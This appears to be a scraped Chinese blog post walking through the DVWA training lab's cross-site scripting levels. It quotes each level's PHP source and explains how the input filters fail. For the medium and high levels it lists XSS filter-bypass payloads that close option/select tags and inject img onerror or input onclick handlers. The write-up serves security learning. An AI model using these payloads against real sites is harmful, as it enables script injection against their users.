DVWA(xss部分源码分析) (2)

DVWA(xss部分源码分析)

级别:Medium 查看源码: <?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?> 分析

对default变量进行了过滤,通过stripos()函数查找

payload: /vulnerabilities/xss_d/?default=English </option></select><img src=http://www.likecs.com/x onerror=alert('XSS')> /vulnerabilities/xss_d/?default=English<input onclick=alert('XSS') />

DVWA(xss部分源码分析)


DVWA(xss部分源码分析)

级别:high 查看源码: <?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?> 分析

使用白名单,进行匹配,如果值不为就default=English,但是只是对default进行了过滤,可以使用其他变量,document.location.href来获取url,仍然会输出到标签中显示,当然也可以用注释符号#

payload: /vulnerabilities/xss_d/?default=English&a=</option></select><img src=http://www.likecs.com/x onerror=alert('XSS')> /vulnerabilities/xss_d/?default=English&a=?default=English&a=<input onclick=alert('XSS') /> /vulnerabilities/xss_d/?default=English#<input onclick=alert('XSS') /> /vulnerabilities/xss_d/?default=English#</option></select><script>alert('http://www.likecs.com/xss')</script>)

DVWA(xss部分源码分析)


DVWA(xss部分源码分析)


DVWA(xss部分源码分析)


DVWA(xss部分源码分析)

级别:impossible 查看源码: # For the impossible level, don't decode the querystring $decodeURI = "decodeURI"; if ($vulnerabilityFile == 'impossible.php') { $decodeURI = ""; } 分析:

如果是impossible难度则decodeURI="",意思就是不解码,那么标签就会被过滤,无法闭合标签和创建新标签,所以无法xss

DVWA(xss部分源码分析)

存储型xss 级别:low 查看源码: <?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> 分析:trim()函数 stripslashes() 函数 mysqli_real_escape_string() 函数只是对/类型的处理过滤转码,主要是对数据库的保护并未设计的xss的内容,故可以直接xss

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpypzf.html